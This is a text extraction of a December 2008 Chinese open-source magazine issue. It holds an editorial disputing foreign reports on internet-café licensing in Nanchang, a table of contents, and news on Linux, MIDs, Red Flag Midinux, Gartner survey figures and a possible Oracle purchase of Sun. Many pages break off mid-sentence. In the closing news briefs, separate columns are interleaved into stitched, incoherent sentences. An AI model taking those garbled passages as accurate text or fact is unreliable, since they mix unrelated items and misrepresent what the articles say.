Professional Documents
Culture Documents
卷首语
南昌网吧正版化是否被恶意渲染?
12 月 3 日下午,在 PCworld.com,Linuxtoday 等国外媒体上出现了一系列
关于中国江西南昌网吧实行正版化的报道,“无线自由亚洲”记者 Ding Xiao 在
“It`s Linux-or Else,in Parts of China”一文中表示南昌市文化局与中
科 红 旗 Linux 江 西 分 销 商 签 订 了 协 议 , 要 求 南 昌 600 余 家 网 吧 一 律 安 装 红 旗
Linux,并且一次性地支付 5000 人民币,如果想换成其他的操作系统,答案是“这
是盗版”。
从这篇国外的报道中,我们能读出两个讯息,第一是中国在江西省南昌网吧打
击盗版,并且力度不小;第二个讯息就是打击的目的是强制使用中科红旗 Linux 操
作系统。第一个讯息想必大家都是支持的,但第二个讯息就存在问题了:为什么打击
盗版非得强买强卖,为什么非得锁定在某一家的正版操作系统呢?
看了这篇报道后,我产生了两个疑问:第一个疑问是此次事件是否是政府借打
击盗版之名强制网吧业主购买某一家的正版操作系统?第二个疑问则是,报道中明确
指出选用中科红旗 Linux,网吧的应用集中在大型网络游戏,而目前的网络游戏都
没有 Linux 客户端,此举是否欠缺考虑,打击盗版不讲策略,脱离市场需求,步子
迈的太大、太急,甚至一味蛮干呢?
12 月 4 日,部分国内媒体也开始关注此事,此时,中科红旗有人站出来澄清了
事实,根据官方的说法,我所疑惑的两个地方都得到了答案:第一,南昌文化局是打
击盗版是针对网吧服务器,对客户端暂时没有限制;第二,提供了 2 种经过文化局测
试的推荐平台(微软 Windows 和红旗 Linux),可以自由选择。同时,在网上已经
出现了南昌市文化局"关于推进全市网吧使用正版软件工作的通知"的文件影印版,
里面很清晰地表达了这个观点。
这就对了,第一个说法表示南昌打击盗版是有策略的,而不是不顾网吧业主的
实际情况。第二个说法就显得更为清晰,政府是推荐使用,而不是强制使用,同时,
推荐使用也列出了两个操作系统。为什么没列出更多,我个人认为其他的操作系统厂
开
oss.linuxpk.com 源 2008 年第 12 期 2
卷首语
商销售力量没跟上,或者说在政府测试平台的时候没有主动予以联系,因此未予列出,
而一些社区版 Linux,目前由于政府采购等一系列规定的限制,还无法正式列入名
单。
因此,外媒的报道有不实的地方,文章所谓的强制使用只是推荐使用,并且文
章中没有出现任何区分桌面版和服务器版的地方,让人产生误解。同时,对于政府推
荐使用微软 windows 也只字未提,这可能来自于两方面原因:一是微软 Windows
价格过高,单方面的将微软 Windows 的推荐予以了忽略,这也体现了 Linux 的价格
优势。第二个原因则是主观上恶意渲染中国实施正版化的行为,这很容易让人联想到
目前的中欧关系,以及今年初期 CNN 对中国的恶意报道事件。
网吧正版化是我国软件正版化道路的必经之路,南昌市文化局敢为天下先,率
先在本市予以推广,这是一件应该得到广泛支持的行为,结果确遇到了很大的阻力。
阻力更多的来自于网吧业主,平时几块钱一张的盗版盘就能搞定的事,如今得支付
5000 人民币,肯定有人不情愿了。此外,在江西论坛上有一种说法就是政府不允许
安装社区 Linux 发行版,被认为是“盗版”(当然这只是来自论坛的一种说法),
社区 Linux 肯定不是“盗版”,但在我国政府采购法中,社区 Linux 一直不能作为
采购对象,一是定价的问题,二是售后服务的问题,因此,这应该是制定政府采购政
策相关部门考虑的,是一个长期的策略问题,而不应该成为此次推行正版化的说辞。
此次南昌市文化局是顶着各方面压力的情况下做这件事,结果国内媒体还未关
注的时候,国外媒体已经炸开了花,甚至国内媒体的反应来源于国外媒体的大肆报道。
在这件事上,我们应该弄清楚事件原委,而不是听取外媒的一面之词,同时对网吧正
版化的执行过程予以监督。
正版化的路很长,但已经开始走了。
开
oss.linuxpk.com 源 2008 年第 12 期 3
主办:Linux 宝库
网址:www.linuxpk.com
官方下载地址:oss.linuxpk.com
主席:陆首群
专家委员会(按姓氏拼音为序)
陈怀临 宫敏 毛德操 倪光南 许洪波 袁萌
顾问委员会(按姓氏拼音为序)
白剑波 曹冬 陈绪 贾栋 李科研 毛文波
主编:陈杰
副主编:陈伟
排版:邹洋
封面设计:张亚运
编辑部:高延斌 姚欣宇 顾宏军
校对:戴彬 沈佩琪 王文龙 李彦荣 赵龙
声 明 :杂志部分内容来自开源社区及互联网,目的是加强开源文
化交流和开源应用传播,如存在版权问题,敬请联系,我们将在第一
时间进行处理。
致谢:本电子杂志由 OpenOffice 制作,并直接导出 PDF
文档,在此表示感谢 。
投稿信箱:opensource@linuxpk.com
目录
内容目录
卷首语
南昌网吧正版化是否被恶意渲染?.........................................................................................2
产业聚焦
LinuxWorld China 2008 成功举办 移动 Linux 成为新热点................................................7
Apache Met up/Bar camp 大会首次登录中国........................................................................9
陆首群谈智能手机操作系统...................................................................................................11
Gartner:85%公司正在使用开源软件...................................................................................12
30%小笔记本电脑预装 Linux Windows 销售低于预期.........................................................13
Linux 主导全球 Top500 超级计算机......................................................................................14
FireFox 四周年:份额四年增长 2.29 倍................................................................................15
谷歌正在秘密开发操作系统?...............................................................................................16
甲骨文最易成功收购 Sun?....................................................................................................18
“番茄、黑屏”后 开源软件将何去何从?.........................................................................19
备战 MID 大规模应用红旗软件推新品...................................................................................23
从 E-midinux 发布看 MID 多元化应用 ..................................................................................25
现在开始,创建未来...............................................................................................................27
MID 发展适合 web2.0 的发展趋势..........................................................................................28
开源通讯
红旗 Midinux 助力 BenQ S6 意大利上市................................................................................30
Novell 收购 Managed Objects 公司......................................................................................30
哈尔滨 Linux 用户组成立.......................................................................................................30
威盛发起超移动产业策略联盟 推迷你笔记本.....................................................................30
高校开源大赛巡展拉开红旗掀起 Linux 热潮.......................................................................31
百资科技投身迷你电脑与 Moblin 领域.................................................................................31
DeviceVM 推出采用 Splashtop NetBook...............................................................................31
红旗桌面 6.0 亮相中关村 20 年成就展..................................................................................31
Teradata 加快采用 SUSE Linux 进程....................................................................................32
DeviceVM 为 Moblin 提供即时启动、节能体验....................................................................32
恩信科技开源 ERP V760 于年底发布.....................................................................................32
番茄与黑屏事件带来契机 红旗 Linux 下载量突破千万.....................................................33
黑屏促中标普华 Linux 下载突破 30 万..................................................................................33
Novell 协助第三方 Linux 用户过渡到 SLES.........................................................................33
开源社区
GNOME 发布 2.25.2...................................................................................................................34
Moonlight:Linux 平台下的 Silverlight.............................................................................34
Firefox 扩展有望登陆 IE8 ...................................................................................................35
开
oss.linuxpk.com 2008 年第 12 期 5
源
目录
Chrome 最新开发版将支持多重 Profile .............................................................................36
gOS Cloud:浏览器式的操作系统 .........................................................................................37
新版 Opera Mini 支持 Android 平台 ....................................................................................38
集中点评红旗 2000 的 RedOffice ........................................................................................38
英特尔中国开源技术中心系列专访之一...............................................................................40
2008-2010 Linux's Golden Age................................................................................................42
知识学堂
Linux 必学的安装登录命令....................................................................................................45
Linux 的缔造者 Linus Torvalds................................................................................................54
经验技巧
Linux 一句话精彩问答............................................................................................................59
简明 IRC 使用入门...................................................................................................................63
7 个极具杀伤性的 Linux 命令 ..............................................................................................65
定制 Linux 系统环境变量........................................................................................................67
善用 Vi 编辑器.........................................................................................................................70
判断 Linux 系统是否被黑的方法 ..........................................................................................74
Linux 操作系统下实现远程开机 ..........................................................................................76
五款在 Linux 下好用的 HTML 编缉器......................................................................................77
如何扼制 fork 炸弹.................................................................................................................82
使用 yum 只获取 rpm 包不自动安装 ......................................................................................83
企业应用
Linux 路由器流量统计系统....................................................................................................84
Nginx+PHP+MySQL 双机互备全自动切换方案 ......................................................................91
Linux 系统内核防火墙研究及应用......................................................................................100
嵌入式
TimeStorm LDS 控制嵌入式 Linux.......................................................................................107
善用 proc 文件系统加快嵌入设备驱动调试 .....................................................................112
编读往来
Linuxpk.com 十一月十大热门帖..........................................................................................117
开
oss.linuxpk.com 2008 年第 12 期 6
源
产业聚焦
中国开源软件推进联盟主席陆首群先生在致辞中表示,希望中国的更多软件企业加入到开源事业当
中来,共同推动中国开源软件、中国软件业的发展。包括 Intel、Red Hat、微软、上海中标软件、甲
骨文、Sun 公司、EMC 、IBM、法国电信、北京尚观科技、VirtualLogix、 LPI 在内的众多开源相关
企业与机构参与了此次大会。
一、新技术为 Linux 加速
经济形势并非刺激开源技术发展的唯一原因,SaaS、SOA、云计算等软件领域新技术的发展,也将
带动开源技术在企业中的应用。面对金融危机的冲击和全球经济下滑的影响,低成本的开源软件无疑会
开
oss.linuxpk.com 2008 年第 12 期 7
源
产业聚焦
更加受到用户青睐,毕竟这意味着节省一大笔开支。Linux 的运营模式同时与 SaaS 的理念相结合,为
企业选择自由可定制的服务,进一步节省 IT 开支。
现在,Linux 已经进入到企业的核心业务应用。正是像纽约证券交易所这样的很多大企业把核心业
务放在 Linux 这个平台来运行的事实来证明,Linux 完全脱离了企业应用试验阶段,真正进入企业核心
业务。
英特尔亚太研发有限公司总经理兼首席研发官中国产品开发总经理梁兆柱博士
此次 Linuxworld 虽然稍显冷清,但 Intel 的展台人流确络绎不绝,展台摆放的 Netbook 便携电
脑和 MID 口袋电脑成为了人们的最爱。最主要的原因则是随着 Intel Atom 芯片的推出,掀起了一波“
小”电脑的购买热,Netbook、MID 已经成为新的亮点,便携电脑成为继传统笔记本后人手一台的 PC 设
备,而随着 MID 的上市发布,也即将成为人们手中的时尚玩物。
开
oss.linuxpk.com 2008 年第 12 期 8
源
产业聚焦
忘记使用习惯的弊端,更能发挥 Linux 定制能力强,应用丰富等特点,已经成为便携设备上非常重要的
操作系统。在 Intel 的展台上,我们能发现关于中科红旗 Midinux 操作系统的介绍,这是一款专门为
MID 定制优化的操作系统,已经能很好的运行在 Intel 的平台之上。
开
oss.linuxpk.com 2008 年第 12 期 9
源
产业聚焦
重 Apache 的组织模式和相关项目,目前作为独立非盈利机构的 Apache 基金会是由志愿者形成的组织,
同时也是全球化的虚拟组织,有超过 1000 名贡献者和 300 多名成员,托管了超过 70 个高质量的软件项
目。来自英特尔中国的 Harmony(Apache 站点的一个开源项目,开源 JAVA SDK)团队经理李晓峰在
大会上也发表了重要演讲,讲述了英特尔公司在 Harmony 上的巨大贡献和进展。
开
oss.linuxpk.com
源 2008 年第 12 期 10
产业聚焦
陆首群谈智能手机操作系统
2008 年全球手机产业陷于低谷,三大手机巨鳄(NOKIA、Motorola、三星)业绩下滑,但手机操
作系统的开发,竞争激烈,进入了白热化阶段。
开
oss.linuxpk.com
源 2008 年第 12 期 11
产业聚焦
制手机(Ophone),与 Gphone 不同。
手机制造商、应用(内容)服务提供商或手机运行商都希望通过控制手机操作系统来控制未来移动
互联网的入口。
Gartner:85%公司正在使用开源软件
尽管使用开源软件的公司非常多,不过,在该分析机构所调查的公司中,只有 31%具有正式的方针
和策略来用于指导开源软件的评价和选用。
据 Gartner 表示,缺乏正式的方针可能会让使用开源软件的公司陷入知识产权侵权纠纷中。该分析
机构认为,管理控制问题是阻碍公司使用开源软件的最大障碍。 Gartner 的调查主管 Laurie Wuster
在报告中表示,“自由软件并不一定意味着没有成本,公司必须有一个方针来选用开源软件,判断哪些
应用可以通过开源软件来实现,并确定与开源软件相关的知识产权风险或技术支持风险。而一旦这样一
个方针被提出后,就需要一个管理控制过程来保证它的执行。”
开源软件面临的另一个挑战是,目前开源软件业存在太多的许可种类和形式,而且它们中的有些规
开
oss.linuxpk.com
源 2008 年第 12 期 12
产业聚焦
定是相互矛盾的。对于用户来说,真正搞明白它们是一个非常痛苦的过程。Wuster 认为,随着时间的发
展,这些问题将逐渐被解决,不过这可能是一个缓慢的过程。开源软件的更受欢迎和更加普及,最终将
会推动这一过程的发生。
据 gartner 表示,目前应用开源软件最多的领域是客户服务方面,不过,在企业综合业务、金融、
管理和业务分析等方面,开源软件也发展势头强劲。
30%小笔记本电脑预装 Linux
Windows 销售低于预期
开
oss.linuxpk.com
源 2008 年第 12 期 13
产业聚焦
近日,开源大师 Eric Raymond 发表题为“帝国坍倒之声”的文章,文中称在小笔记本电脑市场,
宏碁和华硕占据了大约 90%的市场份额,而其中 30%的小笔记本电脑预装 Linux 操作系统。
开
oss.linuxpk.com
源 2008 年第 12 期 14
产业聚焦
决定高性能超级计算机的发展当然有很多因素,但是基于 Top500 列表的变化,以及我们从用户,
技术社区以及厂商那里了解到的,可以发现超级计算机的操作系统逐渐向 Linux 以及其他一些开源的操
作系统迁移,这一趋势并不会变慢或者受到阻碍。
2004 年 12 月全球六大浏览器份额分布图
2008 年 10 月全球六大浏览器份额分布图
开
oss.linuxpk.com
源 2008 年第 12 期 15
产业聚焦
谷歌正在秘密开发操作系统?
开
oss.linuxpk.com
源 2008 年第 12 期 16
产业聚焦
Vizzaccaro 称,他们从来没有见过一个剥离了用户代理信息的操作系统,因此他认为这一定是刻意
隐瞒,而这也并不是代理服务器。由于代理主机会将所有的信息屏蔽掉,而 Net Applications 的数
据显示,提到的三分之一的谷歌内部访客只屏蔽了操作系统信息,因此这并不是代理服务器所为。比如,这
些员工的浏览器信息就可以被探测到。而另外三分之二来自谷歌内部的访问使用的大多数都是 Linux 操
作系统。由此现在只能确定的是,有相当多来自谷歌内部的用户刻意隐藏了他们的操作系统信息。而操作
系统等软件在正式发布前通常都会进行内部测试,例如眼下微软就在其总部对 Windows 7 进行内测。
那么谷歌隐瞒的到底是什么呢?被问及这一问题时,谷歌表示,他们不打算对这样的谣言做出回应。
但是部分业内人士却认为,谷歌所隐瞒的或许就正是传言已久的基于“SaaS(软件即服务)”的谷歌操作系
统。
不会在操作系统领域与微软展开正面较量,因为这并不符合谷歌的既定目标。Ryder 认为,谷歌应该不
会进军桌面操作系统领域,但是网络应用程序基础架构则要有意义得多,因为这只是一种客户端的应用,
开
oss.linuxpk.com
源 2008 年第 12 期 17
产业聚焦
并不需要依赖硬件。
甲骨文最易成功收购 Sun?
唐宏梅
就在 Sun 这个昔日的太阳逐渐陨落的时候,业界纷纷开始猜测
其出路,收购与重组?怎样才是最好的路径?
在 被 称 为 收 购 狂 人 的 甲 骨 文 CEO 拉 里 · 埃 利 森
(LARRYELLISON)近几年所进行的多达 40 多项的并购案例中,不
乏收购其直接竞争对手仁科这样的公司,同时在技术互补性方面完
成最近一次对 BEA 的收购,巩固了其在中间件领域的绝对优势。
目前,通过大大小小的收购,昔日以数据库起家的甲骨文已经
发展成为包括操作系统、数据库、中间件、应用软件等从基础软件
平台到前端应用的全线产品。
计世资讯资深分析师许卫国认为,从竞争的角度来看,IBM、HP、微软、SAP 以及甲骨文都有可能
觊觎 Sun 这个正在陨落的“太阳”。如果这一假设成立的话,甲骨文是最有可能收购成功的。对于甲骨
文以往的收购策略,计世资讯副总经理曹开彬曾表示,甲骨文的收购具有很强的敌意,每次都树敌无数,
不过甲骨文已无法停下来。这也归结于以往甲骨文在收购策略上的“蛮横”与果敢。甲骨文高管曾对外
表示,“高频率收购是为了实现‘大而全’战略目标,树敌是为了自己的生存。”
开
oss.linuxpk.com
源 2008 年第 12 期 18
产业聚焦
预计在 2 亿美元左右,这在总产值为 150 亿美元的全球数据库市场不过是沧海一粟。国外媒体对此评论 ,
Sun 此次收购价格过高了。无论是从技术上还是用户拓展方面,MySQL 远远不能成对甲骨文数据库业务
的威胁者。
然而从业务互补性的角度来看,甲骨文如果收购 Sun,为其带来的收益并不会太明显。分析师许卫
国分析,双方业务方面没有直接加强的关系。同时,许卫国也表示,“但是甲骨文的产品都是基于 Java
技术的,收购了 Sun 之后,其产品在技术上会有更大的突破。而基于 Java 的 os、db 甚至服务器的销售
也会通过收购之后的资源整合实现 1+1 大于 2 的效果。”从这个角度来看,甲骨文收购 Sun 部分业务仍
然存在可能性。
目前,就甲骨文公司在应用软件领域的扩张来看,其收购的公司可以划分为三大类:技术软件类公
司、跨行业应用软件类公司以及行业应用软件类公司。
“番茄、黑屏”后 开源软件将何去何从?
陈杰
番茄花园、微软“黑屏”事件已经过去一段时日了,但至今我仍能感受到它们所带来的影响。最近
发现了两条有趣的新闻,从一个侧面体现了对开源软件领域带来的震动,一条来自于中标软件:“自 10
月 22 日起,中标软件在各大主流软件下载网站提供了中标普华 Linux 桌面个人版和中标普华 Office
办公软件个人版的免费下载,自产品上传截止到发稿时,据不完全统计,中标普华系列产品的个人用户
开
oss.linuxpk.com
源 2008 年第 12 期 19
产业聚焦
下载次数累计突破了 30 万次。”另外一条新闻来自中科红旗:“受微软番茄花园及黑屏计划的影响,根
据国内第三方社区 ChinaUnix 统计分析,在事件发生后,红旗 Linux 单日下载量持续保持在十万以上,
而红旗软件桌面版历年来总的下载量已经突破千万。”对于这组数据,我开始表示了怀疑,亲自登录该
社区网站查询,发现红旗 Linux 累计下载量已经达到千万次量级(18756924 次),这是一个很惊人的
数字,而据悉这只是来自一个社区,而没有包括红旗官方下载(根据服务器带宽利用率计算,每 5 秒就
有 1 个下载)统计在内。
一、资金支持与政府采购并行
记得在两年以前与中标软件副总裁秦勇一次交谈中,他就给我提到政府对中国的开源软件发展支持
力度不够,这种支持力度不够包括几个方面,一种是直接资金上的支持,二是没能为开源软件创造一个
理想的发展环境,三是在政府采购中,开源软件经常落于下风。对于提到的以上三点,我认为最重要的
支持将是来自于政府采购,资金支持是一时的,而政府采购则是长期的,倪光南院士在 03 年就发表了“
中国政府采购决定中国软件业发展”的讲话,可见政府采购在软件行业的作用是极其重要的。
在此说的争取政府采购的支持不是让政府单方面因为国产软件的原因而做出这样的决定,最近关于
政府采购开源软件在欧洲数国愈演愈烈,先是德国外交部宣布将 11000 台电脑全部换成 GNU/Linux 和
其它开源软件,并表示这一举措将使外交部相比其它部门大幅度的减少维护费用;随后荷兰经济事务部
宣布,荷兰政府各机构将采用可以自由分发和任何人都能够修改的开源软件,明年四月份为开始采用的
最终期限,并初步估算荷兰政府在转换为开源软件后,每年能够节省 880 万美元的费用。而在今年三月,
欧盟负责管理事务官员 Siim Kalas 的发言人 Valerie Rampi 在布鲁塞尔宣布,欧盟委员会将发布一
项“政策文件”,该文件规定:“在成本不高且有利于欧洲居民的前提下,购置开源软件政策必须得以
贯彻”。
由此可见,政府采购开源软件是大势所趋,这主要来自于两方面的考虑,其一是经济上的考虑,其
二则是安全上的考虑,我们应该通过这一系列事件去影响政府,说服政府,使得开源软件在政府采购中
能够有一定的话语权和主导权,同时,采购开源软件不仅仅存在于政府采购中,而应该延伸到各行业的
开
oss.linuxpk.com
源 2008 年第 12 期 20
产业聚焦
采购中,这将对我国开源的发展起着决定性的作用。
除了政府采购这一块,资金的支持也是少不了的,国家“核高基”计划投入大笔的资金在基础软件
这一块,目的是打造具有自主知识产权、具有主导地位的软件生态链,开源厂商也将从这次国家的重大
专项中争取到很大的资金支持。发展国产软件,支持国内开源软件厂商,这是国家信息化方面的重大举
措,但是这些通过纳税人来的钱应该投放到真正需要发展的开源厂商中,确保这笔钱是投入到开源软件
的研发上,投入到真正在做大开源软件市场的企业中,而绝对不能拿这笔钱去“改善企业的经营状况”。
二、占领大众桌面
Linux 在服务器端有着很好的表现,而在桌面端发展一直比较缓慢。几年前,用户一直强调桌面
Linux 门槛太高,用户体验太差,原因是多方面的,这包括了用户的使用习惯,应用软件相对匮乏,办
公系统兼容性有待改进等。而如今的桌面 Linux 已经取得了长足的进步,除了游戏在 Linux 下有待提高
外,正常的办公应用,桌面 Linux 已经能够轻松应付。
而此次的“番茄”“黑屏”事件,使得公众的目光都投向了桌面 Linux,并且迫切希望能使用上桌
面 Linux 系统,这给桌面 Linux 带来了机会,也带来了挑战。机会来自于过去的“不知道”到现在的“
知道了”,过去的“不在乎”到现在的“想使用”。而挑战则是如何将用户刚建立起的一点“信任”转
变为对桌面 Linux 的“信心”。
三、开源教育中的“俄罗斯模式”
今年,中科红旗举办了“红旗杯全国大学生软件开源大赛”,并在全国各地高校进行宣讲,我有幸
参加了成都站的活动,感触颇多。第一个感触是热情,成都三个学校的讲座,会场爆满,学生们非常积
极,讲座过程极其流畅,会后咨询络绎不绝,让我很深刻的体会到开源星星之火已经燎原。第二个感触
是开源在同学们心目中是一直理想、一种信仰,一种对自由的追求,期间接触的几个同学,都将从事开
源软件的研发,毕业后投身开源领域当做了自己的奋斗目标,这是一种对开源软件这么一种软件哲学的
认可。第三个感触则是一种情绪,一种不满,有一个同学直言不讳的问我:“开源是这么好的一个东西,
开
oss.linuxpk.com
源 2008 年第 12 期 21
产业聚焦
学校为什么不开课?”而另一个同学则表达了他在推广开源软件遇到的困难:“我很认可开源的理念,
也一心想将此分享给更多的朋友,但是当我将 Linux 介绍给他们,甚至给他们装上以后,没人能后续的
教会他们如何使用,我很希望我们学校能有相关的 Linux 课程,因为 Linux 实在是太好了”。从成都回
来,我就一直在琢磨,目前,类似的教育推广活动不是太多,而是太少,规模不是太大,而是太小。
我们看看邻国俄罗斯是怎么做的,自微软状告俄国教师安装盗版软件,两代总统“求情”未果之后,
俄罗斯在全部学校使用基于 Linux 的 Russian OS,大力推广开源软件。俄罗斯各地纷纷举办举办各种
学习班、培训班学习 Linux。从 2007 年至今部署已经实施一年,到今年 9 月,已有 1092 所实验区学校
部署完毕,其他非实验区的 200 多所学校也即将上马。俄罗斯花大力气,投入大量资金在学校部署开源
操作系统的用意其实很明显。当这一代人走出校门后,他们将选择自己熟悉的 Linux 开源软件,而不会
也不需要重蹈盗版软件的覆辙。
四、猜想:整合,将是趋势
上面有提到,俄罗斯在学校使用基于 Linux 的 Russian OS 系统,Russian OS 就是俄罗斯整合
多家国内 Linux 厂商的产物。整合,将是国内 Linux 厂商发展的一个趋势。说之为趋势,主要来自三方
面的考虑,第一是上市的考虑,开源的发展需要资金,而上市将是很好的一个途径,整合多家 Linux 厂
商,将为上市铺平道路。第二是整合将更有利于市场宣传,在目前阶段,用户连 Linux 概念都很模糊,
更不用说记住多家不同的 Linux 发行商。第三点最为关键,从技术层面,整合了各家的开发力量,将中
国有限的开源技术高手集中起来,打造一套更为优秀的 Linux 操作系统,同时减少厂商之间的内耗,降
低重复劳动。
谈到了整合的好处,那谁来整合这个市场则是重点了,我想这应该是一个很顺理成章的市场行为,
通过市场选择,由市场决定,而决不能是一个简单的政府行为。结合上面提到的三点,第一,上市的计
划,这就决定了整合的厂商必须是一个商业运营的公司,一个纯商业化运作的企业,有自己的市场,有
自己的用户。第二,整合后的品牌效应,品牌是一个具有延续性的属性,整合后的品牌应该体现在附加
值上,而不是一切推倒重来,因此整合的厂商应该具有良好的品牌效应和口碑。第三点则是整合后的技
术优势,整合的厂商具有一定的研发能力,并且产品在政府、企业、社区有着一定的认知度,这将左右
整合后产品的侧重点和研发方向。综合上面几点猜想,在目前世界发行版众多,内耗严重的情况下,中
国应该由市场决定,保留一个发行商,由他整合其他,在更深入普及开源应用的同时,具有和国际巨头
抗争的实力。
开
oss.linuxpk.com
源 2008 年第 12 期 22
产业聚焦
备战 MID 大规模应用
红旗软件推新品
11 月 21 日,中科红旗软件技术有限公司 (红旗软件)在北京举行 Midinux 技术峰会,并发布
Midinux 的 延 伸 应 用 产 品 E-Midinux , 以 及 面 向 应 用 开 发 商 和 Linux 编 程 爱 好 者 的 软 件 包 工 具
Midinux SDK。
中科红旗软件技术有限公司总裁兼 CEO 贾栋
据有关负责人介绍,EMid 是针对嵌入式应用的系统,主要应用于诸如工业控制、汽车电子等嵌入式
设备,而 Midinux 的主要应用则在消费类电子设备和移动通信,其各自的目标市场不同。而 Midinux
SDK 为开发者提供了全面的 Linux 开发工具,并支持 Web 应用框架,可以使更多的开发者能够开发 MID
上的应用,真正得到跨平台和与互联网无缝集成。
开
oss.linuxpk.com
源 2008 年第 12 期 23
产业聚焦
英特尔中国开源技术中心北京研发总监杨继国
2008 可谓是 MID 元年。就在今年 4 月举办的英特尔技术峰会 IDF 上,英特尔携合作伙伴所展示的
MID 成为最大的亮点。8 月,华旗资讯率先发布全球首款基于凌动处理器的 MID 产品,该设备采用了定
制于红旗的 Midinux 操作系统。
开
oss.linuxpk.com
源 2008 年第 12 期 24
产业聚焦
E-midinux 是什么?这个问题我是边思考,边搜索,还是没有得出任何答案,直到我去参加了中科
红旗的 Midinux 技术峰会。简而言之,E-Midinux 是 Midinux 的嵌入式版本,其目标平台要求更低功
耗,以及需要长期技术支持的平台。目标是针对稳定性、可靠性的有更高要求,并且需要一定程度实时
特性的应用。
开
oss.linuxpk.com
源 2008 年第 12 期 25
产业聚焦
这应该看做是与传统笔记本的共性;那第二点则体现的是 MID 与传统笔记本的差异,“口袋电脑”就很
好的诠释了这个特性,小巧,并且能放进随身的口袋。
从 MID 的特性上我们能够看出,他有别于传统手持设备最大的地方,是在功能上等同与传统的笔记
本电脑。而传统的手持设备一般所运行的操作系统都是经过剪裁,功能缩水的嵌入式操作系统。而 MID
则是一个完整的未剪裁的操作系统,并且由于同样是 X86 的架构,使得传统 PC 上的应用软件能平滑迁移
到 MID 上。
开
oss.linuxpk.com
源 2008 年第 12 期 26
产业聚焦
现在开始,创建未来
——红旗软件正式发布 Midinux SDK
MID 产 品 的 界 面 比 传 统 的 PC 系 统 更 华 丽 , 更 易 用 。 要 得 到 绚 丽 的 界 面 特 效 和 灵 活 的 交 互 ,
Midinux SDK 提供了一条捷径。它包含了完整的图形库、触摸屏手势支持、增强的 GTK 控件、3D API
、物理反馈、主题管理支持,以及高性能的浏览器和多媒体回放引擎。你的团队,能够基于 Midinux
开
oss.linuxpk.com
源 2008 年第 12 期 27
产业聚焦
SDK 和创新的设计,打造颠覆性的应用软件。
现 在 , 大 家 都 可 以 得 到 红 旗 Midinux SDK , 请 访 问 :
http://www.redflag-linux.com/midinux_tx/SDK/ 即
可!
开
oss.linuxpk.com
源 2008 年第 12 期 28
产业聚焦
有的功能,提供的内容跟 PC 相比是相差甚远的。但是 MID 这个领域的确能够提供更好的资源,并且能够
达到同等的效果。但是它有两个方面的要求,一方面要求移动,另外一方面要能够访问全功能的互联网,
这样就催生了 MID 新领域的需求。
一、什么是 MID?
在红旗 Midinux 技术峰会上,红旗软件国际运营部总监耿增强做了非常简单的介绍,MID 像笔记本
这么强大,手机一样便携,这样一个移动互联网设备就称之为 MID。MID 在 Web2.0 发展的趋势中,是
能够起到相互促进作用。当你拥有 MID 设备的时候,你可以随时随地,更方便的把你的所见所闻分享给
大家,然后分享给整个社区,也可以更为快捷去做其他 Web2.0 的内容。从 Web2.0 的发展趋势来看,
MID 非常适合这一发展趋势。
二、各种终端设备和趋向的融合
市场上有非常多的移动终端设备,有 PMP,也有各种手持终端设备,也有 MP4 等等。那么,MID 设
备发展到后来是什么?未来是什么?未来只能是提供更多的内容,向高端发展,其结果相信会跟 MID 产
生很大程度的融合。终端设备趋向的融合,也是导致 MID 市场发展的非常大的原因。任何这种计算机设
备,它的量的兴起必须要具备一个非常重要的因素就是价格,价格一定要足够的低。但是今天的 MID 设
备价格还是太高了,按照发展规律,他后续会尽量快速的提升,并且价格会快速的下降,等价格下降到
一定程度的时候,这个突破量会有非常快速的增长。
三、市场占有率 100%
2007 年红旗发布了 Midinux 2.0,至今已有四种基于该平台的 MID 设备面市,包括爱国者是在中
国大陆、香港同时上市,明基是在意大利,日立首先是在美国发布的车载 MID 设备。大家可以惊奇地发
现,凡是已经上市的 MID 产品,无一例外使用了 Linux 系统,所以红旗已经达到了 100%的市场占有率。
现在红旗正在加大投入研发下一代 Midinux 系统,旨在为消费者提供一套更便捷、灵活的系统平台。
开
oss.linuxpk.com
源 2008 年第 12 期 29
开源通讯
红旗 Midinux 助力 BenQ
哈尔滨 Linux 用户组成立
S6 意大利上市 经 过 近 一 个 月 的 准 备 , Harbin Linux
User Group(HLUG)已于 11 月 14 日在哈尔
近日,BenQ 首款移动上网装置(MID)S6 在
滨正式成立。和其他 Linux 用户组一样,HLUG
意大利米兰正式上市,这是全球第一款由欧洲运
将作为哈尔滨及周边地区所有 Linux/开源软件
营商认证并上市的基于 Intel Atom 处理器的
的用户,开发者,支持者进行技术交流、经验分
MID 产品。事实上,由于 MID 设备的移动特性、
享的沟通平台。目前参与活动的主要成员来自安
较小的屏幕和全新的操作方式,传统的 PC 操作
天实验室、哈尔滨工业大学、哈尔滨理工大学、
系统很难适应,其优势已不存在。在此领域 ,
哈尔滨医科大学等单位和院校。
Linux 开放、可定制、高性能高安全的特点体现
出 了 优 势 。 BenQ S6 采 用 了 定 制 的 红 旗 HLUG 的成功建立,需要特别感谢来自中国
Linux 操 作 系 统 对 于 移 动 计 算 的 价 值 。 正 是 以及安天实验室和哈尔滨工业大学的支持。HLUG
务 管 理 ( BSM ) 领 域 的 研 发 。 此 次 收 购 将 使 台对下游厂商完全开放,联盟中的合作伙伴将会
一些工具来提供统一的信息和工作负载视窗,从 验。
开
oss.linuxpk.com
源 2008 年第 12 期 30
开源通讯
Windows XP 系统,各种新型便携计算设备和上 迷你电脑市场上有着极快的开机速度,还有平易
网设备将得以面世,提供给世界各地新一代的电 近人的使用者界面,先今已搭載在 Lenovo S9、
脑用户。 S10 以及许多 Malata 所推出的机种上。
开
oss.linuxpk.com
源 2008 年第 12 期 31
开源通讯
最新桌面产品 6.0,这是红旗软件不同于以往任
何一个版本的桌面产品,它吸取了以往发行版本
DeviceVM 为 Moblin 提供
的经验,融合了当前用户的需求、整合了众多业
界合作伙伴们的共享技术。熟悉的图形界面、便 即时启动、节能体验
捷的办公、上网、娱乐等功能,已经完全能够满
10 月 20 日,DeviceVM 宣布其获奖产品即
足大众的需求。红旗将继续秉承“创新进取”的
时 启 动 系 统 Splashtop 已 集 成 在 采 用 Intel
思想,为用户提供更多、更满意的产品和服务。
Atom 处理器的 Netbook 和 Nettop 上,并且将
加 入 Moblin.org 项 目 计 划 , 从 而 能 够 利 用
Teradata 加快采用 Moblin 已经为英特尔 Atom 处理器所优化的技
术,为以上网为目的的电脑提供快速启动和节能
SUSE Linux 进程 的系统。Moblin 计划是一个开源社区计划,专
据仓库的可信赖的选择,他们将为客户提供新一 Nettops、移动因特网设备和车载信息系统等设
据仓库和企业分析的公司。
开
oss.linuxpk.com
源 2008 年第 12 期 32
开源通讯
国产操作系统和办公软件的下载量一时间以几倍
